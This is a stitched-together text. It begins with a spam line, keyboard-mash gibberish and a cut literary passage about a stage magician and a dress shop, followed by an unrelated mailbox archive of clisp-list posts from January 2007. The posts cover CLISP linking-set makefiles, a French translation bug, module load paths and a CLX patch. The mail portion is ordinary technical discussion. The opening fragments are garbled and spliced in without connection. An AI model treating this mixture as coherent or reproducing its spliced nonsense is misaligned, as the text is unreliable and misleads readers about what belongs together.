our product useless - we'll refund all your money! -- jugqgkgifnfrkfghgluiukrhtutsuluhujpluptkututtttqtouutiukulqpuquiti skldfjgdlsfkgjereriotuw earlier, that the magician and his faded armchair vanished from the stage. The audience did not notice this at all, as they were absorbed by Faggot's wonderful tricks. Having seen the compere off the stage. Faggot announced to the audience: 'Now that we have disposed of that old bore, we shall open a shop for the ladies! ' In a moment half the stage was covered with Persian carpets, some huge mirrors and a row of showcases, in which the audience was astounded to see a collection of Parisian dresses that were the last word in chic. In other From kkylheku@gmail.com Mon Jan 01 19:44:56 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H1aa7-0007sa-UM for clisp-list@lists.sourceforge.net; Mon, 01 Jan 2007 19:44:55 -0800 Received: from an-out-0708.google.com ([209.85.132.247]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H1aa7-00044A-Ll for clisp-list@lists.sourceforge.net; Mon, 01 Jan 2007 19:44:55 -0800 Received: by an-out-0708.google.com with SMTP id d40so2376520and for ; Mon, 01 Jan 2007 19:44:55 -0800 (PST) Received: by 10.100.197.15 with SMTP id u15mr5567370anf.1167709495020; Mon, 01 Jan 2007 19:44:55 -0800 (PST) Received: by 10.100.8.3 with HTTP; Mon, 1 Jan 2007 19:44:54 -0800 (PST) Message-ID: <3f43f78b0701011944l6cf9551cnc3eff2761ce5d24@mail.gmail.com> Date: Mon, 1 Jan 2007 19:44:54 -0800 From: "Kaz Kylheku" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Anyone care about that slick GNU make include file for making linking sets? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Jan 2007 03:44:56 -0000 In the summer of 2005 I developed a GNU Make include file which, based on some input variables, produces a set of rules that build a custom CLISP linking set. This replaces the functionality of the clisp-link shell script in a way that plugs right into a make project. It does everything, including the intermediate memory image trick for preloading modules such as package definitions. It builds modules.h, and groks the "makevars" script from the original linking set to get the right flags and libs, etc. There is also the feature of renaming the main function to something else, so you can write your own main, allowing you, for instance, to write C code to edit the environment or arguments before passing control to CLISP, or to call any global init functions you might need in your C modules. This is not found in clisp-link. The following exemplifies all you have to do to set up a link job in your makefile: # # your preferred namespace prefix # # this allows for multiple instantiation of the rules # # for independent builds of different linking sets # # CLK := FOO_ # # FOO_SOURCE_LS := base # name of source linking set # FOO_TARGET_DIR := foo-clisp/ # where to put new clisp # FOO_MODULES := foo-custom-ffi-bindings # custom bindings module # FOO_OBJECTS := foo-custom-functions foo-main # .o files: one contains main() # FOO_PRELOAD := foo-package # load this into intermediate mem image # FOO_RENAME_MAIN := clisp_main # change name of main to this # FOO_LOAD := foo-lib # finally, load these Lisp files # # include clisp-link.mk # this does all the hard work! # # # Force a the build of the cutom lisp executable and mem image # # by, e.g., making "all" target dependent on them. # # .PHONY: all # all: $(FOO_RUN_TGT) $(FOO_MEM_TGT) # # # clean rule, using clisp-link.mk's output variable # # the variable has only things created by the clisp-link.mk rules, # # not any of the .fas or .o files that go in as inputs! # # .PHONY: clean # clean: # -rm -rf $(FOO_CLEAN) Of course, you need to supply rules to build your $(FOO_OBJECTS). Compiling the LOAD and PRELOAD Lisp stuff to .fas is taken care of. From sds@gnu.org Tue Jan 02 06:39:40 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H1knk-0000Pi-4q for clisp-list@lists.sourceforge.net; Tue, 02 Jan 2007 06:39:40 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H1kng-0005g2-Mk for clisp-list@lists.sourceforge.net; Tue, 02 Jan 2007 06:39:40 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id AEA01038; Tue, 02 Jan 2007 09:39:28 -0500 Message-ID: <459A6EA1.3060904@gnu.org> Date: Tue, 02 Jan 2007 09:39:29 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Kaz Kylheku References: <3f43f78b0701011944l6cf9551cnc3eff2761ce5d24@mail.gmail.com> In-Reply-To: <3f43f78b0701011944l6cf9551cnc3eff2761ce5d24@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Anyone care about that slick GNU make include file for making linking sets? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Jan 2007 14:39:40 -0000 Kaz Kylheku wrote: > In the summer of 2005 I developed a GNU Make include file which, based So, this is GNU Make - specific, and will no work on Solaris, BSD &c &c? In that case I don't think we can drop clisp-link.sh in favor of this. > on some input variables, produces a set of rules that build a custom > CLISP linking set. This replaces the functionality of the clisp-link > shell script in a way that plugs right into a make project. It does > everything, including the intermediate memory image trick for > preloading modules such as package definitions. It builds modules.h, > and groks the "makevars" script from the original linking set to get > the right flags and libs, etc. very interesting. Presumably, you have been using it successfully for 1.5 years now? > There is also the feature of renaming the main function to something > else, so you can write your own main, allowing you, for instance, to > write C code to edit the environment or arguments before passing > control to CLISP, or to call any global init functions you might need > in your C modules. This is not found in clisp-link. there are already two module init functions, but, I guess, you want to run something before step 1a in http://clisp.cons.org/impnotes/custom-init-fini.html right? > Compiling the LOAD and PRELOAD Lisp stuff to .fas is taken care of. usually you do not compile PRELOAD because it contains just one form: (make-package "FOO") Sam. From sds@gnu.org Wed Jan 03 11:56:29 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H2CDt-0003nV-CD for clisp-list@lists.sourceforge.net; Wed, 03 Jan 2007 11:56:29 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H2CDr-0002YQ-Rb for clisp-list@lists.sourceforge.net; Wed, 03 Jan 2007 11:56:29 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id AA5F09D8; Wed, 03 Jan 2007 14:56:15 -0500 Message-ID: <459C0A5E.2010905@gnu.org> Date: Wed, 03 Jan 2007 14:56:14 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] -modern and (defpackage ... (:modern ...)) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Jan 2007 19:56:29 -0000 Should the "-modern" command line option make (:modern t) default for defpackage? any "-modern" users out there? Sam. From pjb@informatimago.com Thu Jan 04 00:53:37 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H2OLv-0002uY-6S for clisp-list@lists.sourceforge.net; Thu, 04 Jan 2007 00:53:37 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H2OLt-0003l3-N0 for clisp-list@lists.sourceforge.net; Thu, 04 Jan 2007 00:53:35 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 253A5585EB; Thu, 4 Jan 2007 09:53:26 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A6FAD585E6; Thu, 4 Jan 2007 09:53:19 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 721D512AD8A; Thu, 4 Jan 2007 09:53:18 +0100 (CET) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Message-Id: <20070104085318.721D512AD8A@thalassa.informatimago.com> Date: Thu, 4 Jan 2007 09:53:18 +0100 (CET) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] po/fr.po error X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Jan 2007 08:53:37 -0000 In src/po/fr.po: #: lisparit.d:1608 #, fuzzy, lisp-format msgid "~S: the value of ~S should be a ~S, not ~S" msgstr "~S : La valeur de ~S devrait =EAtre un =ABrandom-state=BB et non = ~S." should be: #: lisparit.d:1608 #, fuzzy, lisp-format msgid "~S: the value of ~S should be a ~S, not ~S" msgstr "~S : La valeur de ~S devrait =EAtre un ~S et non ~S." I've not checked, perhaps a similar change is needed in othe other languages too... --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "Klingon function calls do not have "parameters" -- they have "arguments" and they ALWAYS WIN THEM." From vadim@vkonovalov.ru Thu Jan 04 17:27:39 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H2drv-0006wf-Ly for clisp-list@lists.sourceforge.net; Thu, 04 Jan 2007 17:27:39 -0800 Received: from cp5.agava.net ([89.108.64.152]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1H2drt-0007D7-SS for clisp-list@lists.sourceforge.net; Thu, 04 Jan 2007 17:27:39 -0800 Received: from clamav by cp5.agava.net with drweb-scanned (Exim 4.44 (FreeBSD)) id 1H2dri-00006l-Sd for clisp-list@lists.sourceforge.net; Fri, 05 Jan 2007 04:27:26 +0300 Received: from [89.110.15.221] (helo=[192.168.1.10]) by cp5.agava.net with esmtpa (Exim 4.44 (FreeBSD)) id 1H2dri-000067-NP for clisp-list@lists.sourceforge.net; Fri, 05 Jan 2007 04:27:26 +0300 Message-ID: <459B9149.7080801@vkonovalov.ru> Date: Wed, 03 Jan 2007 14:19:37 +0300 From: Vadim User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cp5.agava.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [106 106] / [26 6] X-AntiAbuse: Sender Address Domain - vkonovalov.ru X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 4.0 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] How can I specify search path for modules in clisp? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Jan 2007 01:27:40 -0000 Hello, all, I need to provide a way for clisp to search for my couple of directories for my lisp files that could contain some modules. How do I specify those? Can you please kindly teach me for several LISP implementations? I tried RTFS, but haven't succeeded, as I am very new to this field. (I happen to do toy lisp programming way 15 years back in university but now I am as fresh as newcomer :) :) ) Thanks in advance. Vadim. From sds@gnu.org Fri Jan 05 06:07:31 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H2pjG-0003HK-FI for clisp-list@lists.sourceforge.net; Fri, 05 Jan 2007 06:07:30 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H2pjD-0004e4-VJ for clisp-list@lists.sourceforge.net; Fri, 05 Jan 2007 06:07:30 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id AB980AF8; Fri, 05 Jan 2007 09:07:20 -0500 Message-ID: <459E5B98.2090807@gnu.org> Date: Fri, 05 Jan 2007 09:07:20 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Vadim , clisp-list@lists.sourceforge.net References: <459B9149.7080801@vkonovalov.ru> In-Reply-To: <459B9149.7080801@vkonovalov.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] How can I specify search path for modules in clisp? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Jan 2007 14:07:31 -0000 Vadim wrote: > > I need to provide a way for clisp to search for my couple of directories > for my lisp files that could contain some modules. http://clisp.cons.org/impnotes/system-dict.html#load-paths From vadim@vkonovalov.ru Fri Jan 05 06:48:22 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H2qMo-0007bL-NI for clisp-list@lists.sourceforge.net; Fri, 05 Jan 2007 06:48:22 -0800 Received: from cp5.agava.net ([89.108.64.152]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1H2qMl-0007Lx-5x for clisp-list@lists.sourceforge.net; Fri, 05 Jan 2007 06:48:22 -0800 Received: from clamav by cp5.agava.net with drweb-scanned (Exim 4.44 (FreeBSD)) id 1H2qMb-000OpA-2M for clisp-list@lists.sourceforge.net; Fri, 05 Jan 2007 17:48:09 +0300 Received: from [91.122.33.120] (helo=[192.168.1.10]) by cp5.agava.net with esmtpa (Exim 4.44 (FreeBSD)) id 1H2qMa-000OoV-Uk for clisp-list@lists.sourceforge.net; Fri, 05 Jan 2007 17:48:09 +0300 Message-ID: <459C4B4C.9050801@vkonovalov.ru> Date: Thu, 04 Jan 2007 03:33:16 +0300 From: Vadim User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <459B9149.7080801@vkonovalov.ru> <459E5B98.2090807@gnu.org> In-Reply-To: <459E5B98.2090807@gnu.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cp5.agava.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [106 106] / [26 6] X-AntiAbuse: Sender Address Domain - vkonovalov.ru X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 4.0 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] How can I specify search path for modules in clisp? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Jan 2007 14:48:22 -0000 Sam Steingold wrote: > Vadim wrote: > >> >> I need to provide a way for clisp to search for my couple of directories >> for my lisp files that could contain some modules. > > > http://clisp.cons.org/impnotes/system-dict.html#load-paths > Thanks a lot! From lisp-clisp-list@m.gmane.org Sat Jan 06 15:08:03 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H3Kdv-000294-8f for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 15:08:03 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1H3Kdt-0000Is-A4 for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 15:08:03 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1H3Kdn-0004rq-HJ for clisp-list@lists.sourceforge.net; Sun, 07 Jan 2007 00:07:55 +0100 Received: from ppp85-140-148-160.pppoe.mtu-net.ru ([85.140.148.160]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 07 Jan 2007 00:07:55 +0100 Received: from evgeny.zubok by ppp85-140-148-160.pppoe.mtu-net.ru with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 07 Jan 2007 00:07:55 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Evgeny M. Zubok" Date: Sun, 07 Jan 2007 02:10:59 +0000 Lines: 10 Message-ID: <87ps9r4mdo.fsf@tochka.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ppp85-140-148-160.pppoe.mtu-net.ru User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/21.4 (gnu/linux) Cancel-Lock: sha1:tc2cJoQfkwk+pyLuhmjSNJv0Kh4= Sender: news X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 DATE_IN_FUTURE_03_06 Date: is 3 to 6 hours after Received: date Subject: [clisp-list] [PATCH] CLISP support for telent-clx X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Jan 2007 23:08:04 -0000 I merged mit-clx with telent-clx. My message to clx-devel with my patch here: http://article.gmane.org/gmane.lisp.clx.devel/138 I tried telent-clx with examples from clx/demo and with McCLIM. I didn't perform any stress test and didn't run CLX on any remote X client. This patch must be applied against clx from Darcs repository (0.7.2). From sds@gnu.org Sat Jan 06 17:00:27 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H3MOh-0003x2-Kd for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 17:00:27 -0800 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H3MOf-0002b6-65 for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 17:00:27 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JBH0042H44IL4E0@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 20:00:19 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id AB4D821E04E; Sat, 06 Jan 2007 20:00:18 -0500 (EST) Date: Sat, 06 Jan 2007 20:00:18 -0500 From: Sam Steingold In-reply-to: <20070104085318.721D512AD8A@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-followup-to: clisp-list@lists.sourceforge.net, pjb@informatimago.com Message-id: MIME-version: 1.0 Content-type: text/plain; charset=utf-8 Content-transfer-encoding: quoted-printable Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20070104085318.721D512AD8A@thalassa.informatimago.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] po/fr.po error X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Jan 2007 01:00:27 -0000 > * Pascal Bourguignon [2007-01-04 09:53:18 +0100]: > > In src/po/fr.po: > > #: lisparit.d:1608 > #, fuzzy, lisp-format > msgid "~S: the value of ~S should be a ~S, not ~S" > msgstr "~S : La valeur de ~S devrait =EAtre un =ABrandom-state=BB et non = ~S." > > should be: > > #: lisparit.d:1608 > #, fuzzy, lisp-format > msgid "~S: the value of ~S should be a ~S, not ~S" > msgstr "~S : La valeur de ~S devrait =EAtre un ~S et non ~S." > > > I've not checked, perhaps a similar change is needed in othe other > languages too... if you look at the messages around that one, you will see that just about everything is broken. one has to go through the whole file and fix it. do you volunteer to do that? (if you do, your name will be immortalized in clisp/src/ChangeLog :-) --=20 Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://thereligionofpeace.com http://camera.org http://palestinefacts.org http://ffii.org http://jihadwatch.org http://mideasttruth.com http://pmw.or= g.il An elephant is a mouse with an operating system. From sds@gnu.org Sat Jan 06 17:03:22 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H3MRW-0004DU-J1 for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 17:03:22 -0800 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H3MRW-000398-1C for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 17:03:22 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JBH0026N49GD7F0@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 20:03:16 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id 05ABB21E04E; Sat, 06 Jan 2007 20:03:15 -0500 (EST) Date: Sat, 06 Jan 2007 20:03:15 -0500 From: Sam Steingold In-reply-to: <87ps9r4mdo.fsf@tochka.ru> To: clisp-list@lists.sourceforge.net, "Evgeny M. Zubok" Mail-followup-to: clisp-list@lists.sourceforge.net, "Evgeny M. Zubok" Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <87ps9r4mdo.fsf@tochka.ru> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] [PATCH] CLISP support for telent-clx X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Jan 2007 01:03:23 -0000 > * Evgeny M. Zubok [2007-01-07 02:10:59 +0000]: > > I merged mit-clx with telent-clx. My message to clx-devel with my patch > here: > > http://article.gmane.org/gmane.lisp.clx.devel/138 > > I tried telent-clx with examples from clx/demo and with McCLIM. I > didn't perform any stress test and didn't run CLX on any remote X > client. This patch must be applied against clx from Darcs repository > (0.7.2). that's great! thanks! now, when the telent-clx people merge your patch into the official distribution, we will need to merge telent-clx into clisp mit-clx and keep it in sync with the future developments of telent-clx. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://camera.org http://pmw.org.il http://ffii.org http://mideasttruth.com http://memri.org http://thereligionofpeace.com http://openvotingconsortium.org .sigs are like your face - rarely seen by you and uglier than you think From pjb@informatimago.com Sat Jan 06 18:15:53 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1H3NZh-0002EQ-9G for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 18:15:53 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1H3NZf-0000mx-8P for clisp-list@lists.sourceforge.net; Sat, 06 Jan 2007 18:15:53 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B90F8585EB; Sun, 7 Jan 2007 03:15:45 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E2E77585E6; Sun, 7 Jan 2007 03:15:42 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6F2D412AD8A; Sun, 7 Jan 2007 03:15:42 +0100 (CET) From: Pascal Bourguignon Message-ID: <17824.22477.342752.498129@thalassa.informatimago.com> Date: Sun, 7 Jan 2007 03:15:41 +0100 To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20070104085318.721D512AD8A@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable 